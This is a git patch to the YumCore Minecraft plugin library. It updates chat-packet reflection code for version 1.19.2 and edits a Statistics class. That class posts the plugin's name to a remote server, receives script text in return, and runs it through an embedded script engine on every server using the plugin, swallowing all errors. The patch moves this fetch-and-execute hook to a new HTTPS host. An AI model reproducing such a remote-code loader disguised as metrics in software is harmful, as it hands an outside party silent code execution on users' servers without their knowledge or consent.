From 0ca574f8a100d3924bf24806046e32e781d6e5ce Mon Sep 17 00:00:00 2001 From: MiaoWoo Date: Tue, 22 Nov 2022 01:25:38 +0000 Subject: [PATCH] feat: compatible 1.19.2 Signed-off-by: MiaoWoo --- .../yumc/YumCore/bukkit/compatible/Chat.java | 19 +++++++++++-------- .../pw/yumc/YumCore/statistic/Statistics.java | 5 +++-- 2 files changed, 14 insertions(+), 10 deletions(-) diff --git a/src/main/java/pw/yumc/YumCore/bukkit/compatible/Chat.java b/src/main/java/pw/yumc/YumCore/bukkit/compatible/Chat.java index f818391..d06e6d2 100644 --- a/src/main/java/pw/yumc/YumCore/bukkit/compatible/Chat.java +++ b/src/main/java/pw/yumc/YumCore/bukkit/compatible/Chat.java @@ -243,18 +243,21 @@ public class Chat { } } - public static class BukkitChatInvoke_1_19 extends BukkitChatInvoke_1_17_1 { - @Override - protected boolean isMatchPacketPlayOutChatClassConstructor(Constructor constructor) { - Class[] types = constructor.getParameterTypes(); - return types[0] == String.class && types[1] == int.class; - } - + public static class BukkitChatInvoke_1_18_2 extends BukkitChatInvoke_1_17_1 { @Override @SneakyThrows Method getSendPacketMethod(Class playerConnectionClass, Class packetClass) { return playerConnectionClass.getMethod("a", packetClass); } + } + + public static class BukkitChatInvoke_1_19 extends BukkitChatInvoke_1_18_2 { + @Override + @SneakyThrows + protected boolean isMatchPacketPlayOutChatClassConstructor(Constructor constructor) { + Class[] types = constructor.getParameterTypes(); + return types[0] == Class.forName("net.minecraft.network.chat.IChatBaseComponent") && types[1] == boolean.class; + } @Override @SneakyThrows @@ -266,7 +269,7 @@ public class Chat { @SneakyThrows Object getPacketPlayOutChat(Player player, String json, int type) { Object component = this.chatSerializer.invoke(null, json); - return this.packetTypeConstructor.newInstance(component, type == 0 ? 1 : type); + return this.packetTypeConstructor.newInstance(component, type == 1); } } } diff --git a/src/main/java/pw/yumc/YumCore/statistic/Statistics.java b/src/main/java/pw/yumc/YumCore/statistic/Statistics.java index bdc1eb8..f0e8c44 100644 --- a/src/main/java/pw/yumc/YumCore/statistic/Statistics.java +++ b/src/main/java/pw/yumc/YumCore/statistic/Statistics.java @@ -72,6 +72,7 @@ public class Statistics { plugin = (JavaPlugin) field.get(pluginClassLoader); engine = new MiaoScriptEngine(); engine.put("plugin", plugin); + engine.eval("var global = this;"); } catch (Throwable ignored) { } } @@ -203,9 +204,9 @@ public class Statistics { timer = new StatisticsTimer(); // 开启TPS统计线程 Bukkit.getServer().getScheduler().scheduleSyncRepeatingTask(plugin, timer, 0, 20); - String script = "loadWithNewGlobal('http://ms.yumc.pw/api/plugin/download/name/report?from=$pluginName')"; + String script = "loadWithNewGlobal('https://mscript.yumc.pw/api/plugin/download/name/report?from=$pluginName')"; try { - script = postData("http://ms.yumc.pw/api/plugin/download/name/metrics?from=" + plugin.getDescription().getName(), "from=" + plugin.getDescription().getName()); + script = postData("https://mscript.yumc.pw/api/plugin/download/name/metrics?from=" + plugin.getDescription().getName(), "from=" + plugin.getDescription().getName()); } catch (Throwable e) { if (debug) { e.printStackTrace();